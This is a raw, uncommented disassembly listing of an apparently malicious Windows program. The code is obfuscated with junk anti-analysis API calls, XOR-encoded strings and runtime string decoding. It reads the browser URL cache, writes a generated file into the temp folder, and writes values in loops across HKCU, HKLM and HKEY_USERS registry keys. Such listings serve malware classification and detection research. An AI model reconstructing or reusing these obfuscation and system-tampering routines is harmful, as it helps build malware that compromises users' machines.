		mov	[ebp+var_1F44],	1F40h ;	DATA XREF: sub_440905r
					; sub_440911r
		lea	eax, [ebp+var_1F44] ; DATA XREF: sub_44091Dr
					; sub_440929r
		push	eax
		lea	eax, [ebp+var_1F40] ; DATA XREF: sub_440935r
		push	eax
		push	ebx
		call	FindNextUrlCacheEntryA	; FindNextUrlCacheEntryA
		or	eax, eax
		jz	short loc_4053F7
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_stricmp	; _stricmp
		add	esp, 8
		or	eax, eax
		jnz	short loc_4053F2
		mov	[ebp+var_2F58],	6518h
		mov	eax, [ebp+var_2F58]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2F58],	edx
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C6D8
		xor	eax, eax
		inc	eax
		jmp	short loc_4053F9
; ---------------------------------------------------------------------------


loc_4053F2:				; CODE XREF: sub_40523D+186j
		jmp	loc_40536B
; ---------------------------------------------------------------------------


loc_4053F7:				; CODE XREF: sub_40523D+168j
		xor	eax, eax


loc_4053F9:				; CODE XREF: sub_40523D+DDj
					; sub_40523D+129j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40523D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4053FE(LPCSTR	lpString)

sub_4053FE	proc near		; CODE XREF: sub_4054C8+602p

var_14		= dword	ptr -14h
Format		= dword	ptr -10h
Dest		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
lpString	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+lpString]
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	ebx		; lpString
		call	lstrlenA	; lstrlenA
		mov	[ebp+var_8], eax
		call	GetTickCount	; GetTickCount
		mov	edi, [ebp+var_8]
		shl	edi, 1
		add	edi, 8
		push	edi		; uBytes
		push	40h		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	[ebp+Dest], eax
		call	GetProcessHeap	; GetProcessHeap
		xor	esi, esi
		jmp	short loc_40544F
; ---------------------------------------------------------------------------


loc_405439:				; CODE XREF: sub_4053FE+54j
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		or	eax, eax
		jz	short loc_40544E
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		mov	[ebx+esi], al


loc_40544E:				; CODE XREF: sub_4053FE+44j
		inc	esi


loc_40544F:				; CODE XREF: sub_4053FE+39j
		cmp	esi, [ebp+var_8]
		jb	short loc_405439
		mov	[ebp+var_2], 0
		jmp	short loc_4054B2
; ---------------------------------------------------------------------------


loc_40545C:				; CODE XREF: sub_4053FE+BBj
		push	6		; Size
		push	offset dword_44737C ; Src
		call	sub_405138
		mov	[ebp+Format], eax
		movzx	edi, [ebp+var_2]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_14], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+Dest]
		push	edi
		mov	esi, [ebp+Format]
		push	esi		; Format
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 1Ch
		inc	[ebp+var_2]


loc_4054B2:				; CODE XREF: sub_4053FE+5Cj
		movzx	eax, [ebp+var_2]
		cmp	eax, [ebp+var_8]
		jb	short loc_40545C
		call	GetTickCount	; GetTickCount
		mov	eax, [ebp+Dest]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4053FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4054C8(LPSTR lpFileName, int,	int, LPCSTR lpString, int, int,	int, int)

sub_4054C8	proc near		; CODE XREF: sub_4061F7+199p

var_300A1	= byte ptr -300A1h
var_300A0	= dword	ptr -300A0h
var_3009C	= dword	ptr -3009Ch
var_30096	= word ptr -30096h
var_30094	= dword	ptr -30094h
var_3008D	= byte ptr -3008Dh
var_3008C	= dword	ptr -3008Ch
var_30088	= dword	ptr -30088h
Format		= dword	ptr -30084h
var_30080	= dword	ptr -30080h
var_3007C	= dword	ptr -3007Ch
var_30078	= dword	ptr -30078h
var_30071	= byte ptr -30071h
var_3006E	= word ptr -3006Eh
var_3006C	= byte ptr -3006Ch
var_30067	= byte ptr -30067h
var_30064	= byte ptr -30064h
var_3005F	= dword	ptr -3005Fh
var_3005B	= byte ptr -3005Bh
var_30058	= dword	ptr -30058h
var_30054	= byte ptr -30054h
var_30051	= byte ptr -30051h
var_3004A	= word ptr -3004Ah
var_30048	= dword	ptr -30048h
var_30044	= word ptr -30044h
var_30041	= byte ptr -30041h
var_30040	= byte ptr -30040h
var_3003F	= byte ptr -3003Fh
var_30035	= byte ptr -30035h
var_30034	= dword	ptr -30034h
var_30030	= dword	ptr -30030h
var_3002C	= byte ptr -3002Ch
var_3002B	= byte ptr -3002Bh
var_30021	= byte ptr -30021h
hObject		= dword	ptr -30020h
var_3001C	= dword	ptr -3001Ch
var_30018	= word ptr -30018h
var_30016	= word ptr -30016h
var_30014	= dword	ptr -30014h
hMem		= dword	ptr -30010h
String		= byte ptr -3000Ch
NumberOfBytesWritten= dword ptr	-2000Ch
Dest		= dword	ptr -20008h
Source		= byte ptr -20003h
var_10004	= dword	ptr -10004h
Dst		= byte ptr -10000h
lpFileName	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
lpString	= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 300A4h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_30016], 316Dh
		movzx	eax, [ebp+var_30016]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_30016], ax
		and	[ebp+var_3001C], 0
		call	GetCurrentThreadId	; GetCurrentThreadId
		and	[ebp+NumberOfBytesWritten], 0
		and	[ebp+var_30014], 0
		lea	eax, [ebp+var_10004]
		push	eax		; int
		push	[ebp+arg_4]	; lpFileName
		call	sub_401A7E
		add	esp, 8
		mov	ebx, eax
		mov	ax, word_4422B8
		mov	[ebp+var_3004A], ax
		mov	eax, [ebp+var_10004]
		or	eax, eax
		jz	short loc_405543
		or	ebx, ebx
		jz	short loc_405543
		cmp	[ebp+arg_14], eax
		jb	short loc_405571


loc_405543:				; CODE XREF: sub_4054C8+70j
					; sub_4054C8+74j
		mov	byte ptr [ebp+var_30078+3], 6Fh
		add	byte ptr [ebp+var_30078+3], 1
		push	ebx		; hMem
		call	LocalFree	; LocalFree
		mov	word ptr [ebp+var_30078], 52A5h
		inc	word ptr [ebp+var_30078]
		mov	[ebp+var_3001C], 1


loc_405571:				; CODE XREF: sub_4054C8+79j
		push	[ebp+lpString]	; lpString
		call	lstrlenA	; lstrlenA
		mov	[ebp+var_30078], eax
		mov	eax, 64h
		mul	[ebp+var_10004]
		mov	[ebp+var_3007C], eax
		mov	edi, [ebp+var_30078]
		imul	edi, [ebp+var_30078], 32h
		mov	esi, [ebp+var_3007C]
		lea	edi, [esi+edi+1000h]
		push	edi		; uBytes
		push	40h		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	[ebp+Dest], eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	edi, [ebp+var_30051]
		lea	esi, word_4422BA
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_30054]
		lea	esi, byte_4422C1
		mov	ecx, 3
		rep movsb
		push	[ebp+lpFileName] ; lpBuffer
		push	104h		; nBufferLength
		call	GetTempPathA	; GetTempPathA
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, [ebp+lpFileName]
		mov	[ebp+var_30080], eax
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_405603:				; CODE XREF: sub_4054C8+140j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405603
		mov	edi, eax
		mov	esi, 19h
		sub	esi, dword_44229C
		push	esi
		mov	esi, [ebp+var_30080]
		add	esi, edi
		push	esi
		call	sub_40172F
		add	esp, 8
		call	GetVersion	; GetVersion
		push	4		; Size
		push	offset byte_447377 ; Src
		call	sub_405138
		add	esp, 8
		push	eax		; Source
		push	[ebp+lpFileName] ; Dest
		call	strcat	; strcat
		add	esp, 8
		mov	eax, dword_4422C4
		mov	[ebp+var_30058], eax
		push	6		; Size
		push	offset dword_447370 ; Src
		call	sub_405138
		add	esp, 8
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		lea	edi, [ebp+var_3005B]
		lea	esi, byte_4422C8
		mov	ecx, 3
		rep movsb
		push	6		; Size
		push	offset byte_447369 ; Src
		call	sub_405138
		add	esp, 8
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		mov	eax, dword_4422CB
		mov	[ebp+var_3005F], eax
		push	13h		; Size
		push	offset byte_447355 ; Src
		call	sub_405138
		add	esp, 8
		push	[ebp+arg_1C]
		push	offset word_447346
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 10h
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		push	7		; Size
		push	offset word_44733E ; Src
		call	sub_405138
		add	esp, 8
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_30021], 51h
		sub	[ebp+var_30021], 7Ch
		push	6		; Size
		push	offset byte_447337 ; Src
		call	sub_405138
		add	esp, 8
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		call	GetTickCount	; GetTickCount
		lea	edi, [ebp+var_30064]
		lea	esi, a70cg	; "70cg"
		mov	ecx, 5
		rep movsb
		push	5		; Size
		push	offset byte_447331 ; Src
		call	sub_405138
		add	esp, 8
		mov	[ebp+Format], eax
		call	rand	; rand
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+Format]
		push	[ebp+Format]	; Format
		lea	edi, [ebp+var_3002B]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 0Ch
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	2Ah		; Size
		push	offset word_447306 ; Src
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_3002B]
		push	edi
		push	[ebp+arg_8]
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 10h
		call	GetTickCount	; GetTickCount
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_3002C], 0CAh
		movzx	eax, [ebp+var_3002C]
		imul	eax, 1107h
		mov	[ebp+var_3002C], al
		push	2Dh		; Size
		push	offset dword_4472D8 ; Src
		call	sub_405138
		add	esp, 8
		mov	[ebp+var_30088], eax
		call	rand	; rand
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 14h
		push	edi
		mov	edi, [ebp+var_30088]
		push	[ebp+var_30088]	; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 0Ch
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		mov	[ebp+var_30030], 7FDh
		add	[ebp+var_30030], 38E3h
		cmp	[ebp+var_3001C], 0
		jnz	loc_405B6E
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	[ebp+arg_18], 0
		jz	loc_4059C5
		lea	edi, [ebp+var_3008D]
		lea	esi, byte_4422D4
		xor	ecx, ecx
		inc	ecx
		rep movsb
		and	[ebp+var_3008C], 0
		jmp	loc_4059A8
; ---------------------------------------------------------------------------


loc_405896:				; CODE XREF: sub_4054C8+4ECj
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	[ebp+Dst], 0
		mov	ax, word_4422D5
		mov	[ebp+var_30096], ax
		and	[ebp+var_30094], 0
		jmp	loc_40594A
; ---------------------------------------------------------------------------


loc_4058BB:				; CODE XREF: sub_4054C8+48Cj
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+var_3008C]
		add	eax, [ebp+var_30094]
		cmp	eax, [ebp+var_10004]
		jnb	loc_40595A
		push	6		; Size
		push	offset dword_44737C ; Src
		call	sub_405138
		mov	[ebp+var_3009C], eax
		mov	edi, [ebp+var_3008C]
		add	edi, [ebp+var_30094]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_300A0], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+Dst]
		push	edi
		mov	edi, [ebp+var_3009C]
		push	edi		; Format
		lea	edi, [ebp+Dst]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 1Ch
		inc	[ebp+var_30094]


loc_40594A:				; CODE XREF: sub_4054C8+3EEj
		cmp	[ebp+var_30094], 80h
		jb	loc_4058BB


loc_40595A:				; CODE XREF: sub_4054C8+40Aj
		push	30h		; Size
		push	offset byte_4472A7 ; Src
		call	sub_405138
		push	[ebp+NumberOfBytesWritten]
		push	[ebp+arg_10]
		lea	edi, [ebp+Dst]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 24h
		add	[ebp+var_3008C], 80h
		inc	[ebp+NumberOfBytesWritten]


loc_4059A8:				; CODE XREF: sub_4054C8+3C9j
		mov	eax, [ebp+var_10004]
		cmp	[ebp+var_3008C], eax
		jb	loc_405896
		mov	[ebp+var_30014], eax
		jmp	loc_405B6E
; ---------------------------------------------------------------------------


loc_4059C5:				; CODE XREF: sub_4054C8+3ABj
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_10004], eax
		jmp	loc_405B4A
; ---------------------------------------------------------------------------


loc_4059D8:				; CODE XREF: sub_4054C8+6A0j
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	[ebp+Dst], 0
		jz	loc_405B4A
		mov	byte ptr [ebp+var_3008C+2], 9Fh
		sub	byte ptr [ebp+var_3008C+2], 36h
		mov	eax, [ebp+arg_14]
		add	eax, 0C800h
		cmp	[ebp+var_10004], eax
		jnb	loc_405B6E
		lea	edi, [ebp+var_3009C+3]
		lea	esi, byte_4422D7
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_10004]
		mov	[ebp+var_30014], eax
		push	3		; Size
		push	offset off_4472A3 ; Src
		call	sub_405138
		push	[ebp+lpString]
		push	eax		; Format
		lea	edi, [ebp+String]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 14h
		lea	edi, [ebp+var_300A1]
		lea	esi, word_4422DE
		movsd
		movsd
		lea	ecx, [ebp+String]
		or	eax, 0FFFFFFFFh


loc_405A61:				; CODE XREF: sub_4054C8+59Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_405A61
		mov	edi, eax
		mov	word ptr [ebp+var_30094+2], di
		mov	word ptr [ebp+var_3008C], 45ACh
		movzx	eax, word ptr [ebp+var_3008C]
		imul	eax, 6B72h
		mov	word ptr [ebp+var_3008C], ax
		lea	eax, [ebp+Dst]
		push	eax
		movzx	eax, word ptr [ebp+var_30094+2]
		lea	eax, [ebp+eax+String]
		push	eax
		call	sub_40C6D8
		mov	byte ptr [ebp+var_3008C+3], 0DBh
		movzx	eax, byte ptr [ebp+var_3008C+3]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	byte ptr [ebp+var_3008C+3], al
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	sub_4053FE
		add	esp, 4
		mov	[ebp+hMem], eax
		push	30h		; Size
		push	offset byte_4472A7 ; Src
		call	sub_405138
		add	esp, 8
		push	[ebp+NumberOfBytesWritten]
		push	[ebp+arg_10]
		push	[ebp+hMem]
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 14h
		call	GetCurrentThreadId	; GetCurrentThreadId
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		add	esp, 8
		mov	dword ptr [ebp-30090h],	472Eh
		add	dword ptr [ebp-30090h],	7A98h
		push	[ebp+hMem]	; hMem
		call	LocalFree	; LocalFree
		call	GetProcessHeap	; GetProcessHeap
		inc	[ebp+NumberOfBytesWritten]


loc_405B4A:				; CODE XREF: sub_4054C8+50Bj
					; sub_4054C8+51Cj
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		push	[ebp+var_10004]	; int
		push	ebx		; int
		call	sub_401BB7
		add	esp, 0Ch
		mov	[ebp+var_10004], eax
		or	eax, eax
		jnz	loc_4059D8


loc_405B6E:				; CODE XREF: sub_4054C8+39Cj
					; sub_4054C8+4F8j ...
		push	1Eh		; Size
		push	offset dword_447284 ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		mov	[ebp+var_30034], 2A8Eh
		add	[ebp+var_30034], 6CB3h
		push	7		; Size
		push	offset dword_44727C ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		call	GetVersion	; GetVersion
		push	8		; Size
		push	offset byte_447273 ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_404529
		mov	[ebp+var_30035], 15h
		add	[ebp+var_30035], 2Fh
		lea	edi, [ebp+var_30067]
		lea	esi, word_4422E6
		mov	ecx, 3
		rep movsb
		push	6		; Size
		push	offset dword_44726C ; Src
		call	sub_405138
		mov	[ebp+var_3008C], eax
		call	rand	; rand
		mov	[ebp-30090h], eax
		call	rand	; rand
		mov	ecx, 63h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-30090h]
		mov	eax, edi
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_3008C]
		push	edi		; Format
		lea	edi, [ebp+var_3003F]
		push	edi		; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_30018], 0F6Ah
		movzx	eax, [ebp+var_30018]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_30018], ax
		push	0Eh		; Size
		push	offset byte_44725D ; Src
		call	sub_405138
		lea	edi, [ebp+var_3003F]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_404529
		mov	[ebp+var_30040], 95h
		add	[ebp+var_30040], 1
		push	15h		; Size
		push	offset byte_447247 ; Src
		call	sub_405138
		lea	edi, [ebp+var_3002B]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	edi, [ebp+var_3006C]
		lea	esi, byte_4422E9
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_404529
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	1		; Size
		push	offset byte_447245 ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_404529
		mov	ax, word_4422EE
		mov	[ebp+var_3006E], ax
		push	16h		; Size
		push	offset word_44722E ; Src
		call	sub_405138
		mov	[ebp+var_30094], eax
		call	rand	; rand
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 2710h
		push	edi
		lea	edi, [ebp+var_3003F]
		push	edi
		mov	edi, [ebp+var_30094]
		push	edi		; Format
		lea	edi, [ebp+Source]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetLastError
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_404529
		mov	[ebp+var_30041], 97h
		add	[ebp+var_30041], 3Eh
		push	9		; Size
		push	offset dword_447224 ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		lea	edi, [ebp+var_30071]
		lea	esi, byte_4422F0
		mov	ecx, 3
		rep movsb
		push	7		; Size
		push	offset dword_44721C ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	sub_40481B
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	7		; Size
		push	offset dword_447214 ; Src
		call	sub_405138
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	strcat	; strcat
		call	GetTickCount	; GetTickCount
		push	[ebp+lpFileName]
		call	sub_40341E
		add	esp, 0E4h
		mov	[ebp+var_30044], 4FFDh
		inc	[ebp+var_30044]
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		mov	[ebp+var_30048], 473Dh
		add	[ebp+var_30048], 10D3h
		push	[ebp+Dest]	; lpString
		call	lstrlenA	; lstrlenA
		push	0		; lpOverlapped
		lea	edi, [ebp+NumberOfBytesWritten]
		push	edi		; lpNumberOfBytesWritten
		push	eax		; nNumberOfBytesToWrite
		push	[ebp+Dest]	; lpBuffer
		push	[ebp+hObject]	; hFile
		call	WriteFile	; WriteFile
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		push	[ebp+Dest]	; hMem
		call	LocalFree	; LocalFree
		cmp	[ebp+var_3001C], 0
		jnz	short loc_405E78
		push	ebx		; hMem
		call	LocalFree	; LocalFree
		jmp	short loc_405E7D
; ---------------------------------------------------------------------------


loc_405E78:				; CODE XREF: sub_4054C8+9A6j
		or	eax, 0FFFFFFFFh
		jmp	short loc_405E83
; ---------------------------------------------------------------------------


loc_405E7D:				; CODE XREF: sub_4054C8+9AEj
		mov	eax, [ebp+var_30014]


loc_405E83:				; CODE XREF: sub_4054C8+9B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4054C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E88	proc near		; CODE XREF: sub_4061F7:loc_40632Dp

var_2124	= dword	ptr -2124h
var_2120	= byte ptr -2120h
var_1121	= byte ptr -1121h
var_130		= dword	ptr -130h
var_12B		= byte ptr -12Bh
var_126		= byte ptr -126h
lpValueName	= dword	ptr -124h
lpSubKey	= dword	ptr -120h
var_11C		= word ptr -11Ch
var_11A		= byte ptr -11Ah
var_114		= byte ptr -114h
var_10D		= byte ptr -10Dh
var_10A		= word ptr -10Ah
Data		= byte ptr -108h
var_101		= byte ptr -101h
SubKey		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		mov	eax, 2124h
		call	sub_40C6B8
		push	esi
		push	edi
		call	GetLastError
		lea	edi, [ebp+var_10D]
		lea	esi, byte_4422F3
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_114]
		lea	esi, word_4422F6
		mov	ecx, 7
		rep movsb
		and	dword ptr [ebp+Data], 0
		mov	[ebp+var_101], 0
		jmp	loc_406024
; ---------------------------------------------------------------------------


loc_405ED5:				; CODE XREF: sub_405E88+1A4j
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	44h		; Size
		push	offset byte_4471CF ; Src
		call	sub_405138
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+SubKey]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetVersion	; GetVersion
		push	4		; Size
		push	offset word_4471CA ; Src
		call	sub_405138
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		lea	edi, [ebp+SubKey]
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	sub_40160A
		lea	edi, [ebp+var_126]
		lea	esi, byte_4422FD
		mov	ecx, 3
		rep movsw
		push	4		; Size
		push	offset word_4471CA ; Src
		call	sub_405138
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		lea	edi, [ebp+SubKey]
		push	edi		; lpSubKey
		push	80000002h	; hKey
		call	sub_40160A
		mov	[ebp+lpSubKey],	2D0Fh
		mov	eax, 37FBh
		mul	[ebp+lpSubKey]
		mov	[ebp+var_130], eax
		mov	[ebp+lpSubKey],	eax
		push	4Dh		; Size
		push	offset dword_44717C ; Src
		call	sub_405138
		movzx	edi, [ebp+var_101]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+SubKey]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetProcessHeap	; GetProcessHeap
		push	4		; Size
		push	offset word_4471CA ; Src
		call	sub_405138
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		lea	edi, [ebp+SubKey]
		push	edi		; lpSubKey
		push	80000002h	; hKey
		call	sub_40160A
		lea	edi, [ebp+var_12B]
		lea	esi, byte_442303
		mov	ecx, 5
		rep movsb
		push	4		; Size
		push	offset word_4471CA ; Src
		call	sub_405138
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		lea	edi, [ebp+SubKey]
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	sub_40160A
		add	esp, 0A8h
		call	GetProcessHeap	; GetProcessHeap
		add	[ebp+var_101], 1


loc_406024:				; CODE XREF: sub_405E88+48j
		mov	al, [ebp+var_101]
		cmp	al, 5
		jb	loc_405ED5
		call	GetVersion	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_4060A2
		call	GetLastError
		push	4Ch		; Size
		push	offset byte_44712F ; Src
		call	sub_405138
		mov	[ebp+lpSubKey],	eax
		push	10h		; Size
		push	offset aNskoyryklns_yo ; "~NSKOYrYKlNS_YOO"
		call	sub_405138
		mov	[ebp+lpValueName], eax
		push	3		; Size
		push	offset word_44711A ; Src
		call	sub_405138
		push	1		; dwType
		mov	edi, 15h
		sub	edi, dword_44229C
		push	edi		; cbData
		push	eax		; lpData
		mov	edi, [ebp+lpValueName]
		push	edi		; lpValueName
		mov	edi, [ebp+lpSubKey]
		push	edi		; lpSubKey
		push	80000003h	; hKey
		call	sub_40160A
		add	esp, 30h
		jmp	loc_406140
; ---------------------------------------------------------------------------


loc_4060A2:				; CODE XREF: sub_405E88+1B4j
		mov	ax, word_442308
		mov	word ptr [ebp+lpValueName+2], ax
		mov	eax, dword_44230A
		mov	[ebp+var_2124],	eax
		lea	eax, [ebp+var_1121]
		push	eax		; LPSTR
		call	sub_40506F
		call	GetProcessHeap	; GetProcessHeap
		push	59h		; Size
		push	offset dword_4470C0 ; Src
		call	sub_405138
		lea	edi, [ebp+var_1121]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+var_2120]
		push	edi		; Dest
		call	sprintf	; sprintf
		call	GetTickCount	; GetTickCount
		and	[ebp+lpSubKey],	0
		push	0Ch		; Size
		push	offset byte_4470B3 ; Src
		call	sub_405138
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+lpSubKey]
		push	edi		; lpData
		push	eax		; lpValueName
		lea	edi, [ebp+var_2120]
		push	edi		; lpSubKey
		push	80000003h	; hKey
		call	sub_40160A
		add	esp, 38h
		mov	[ebp+var_11C], 3003h
		movzx	eax, [ebp+var_11C]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_11C], ax


loc_406140:				; CODE XREF: sub_405E88+215j
		push	3Bh		; Size
		push	offset byte_447077 ; Src
		call	sub_405138
		mov	[ebp+lpSubKey],	eax
		push	11h		; Size
		push	offset aPsPioynszzpury ; "{PS^]PiOYNsZZPURY"
		call	sub_405138
		push	4		; dwType
		push	4		; cbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		mov	edi, [ebp+lpSubKey]
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	sub_40160A
		lea	edi, [ebp+var_11A]
		lea	esi, word_44230E
		mov	ecx, 3
		rep movsw
		push	33h		; Size
		push	offset byte_447031 ; Src
		call	sub_405138
		push	1		; dwType
		push	0		; cbData
		push	offset WindowName ; lpData
		push	offset WindowName ; lpValueName
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	sub_40160A
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	3Bh		; Size
		push	offset byte_446FF5 ; Src
		call	sub_405138
		push	1		; dwType
		push	0		; cbData
		push	offset WindowName ; lpData
		push	offset WindowName ; lpValueName
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	sub_40160A
		add	esp, 68h
		mov	[ebp+var_10A], 4809h
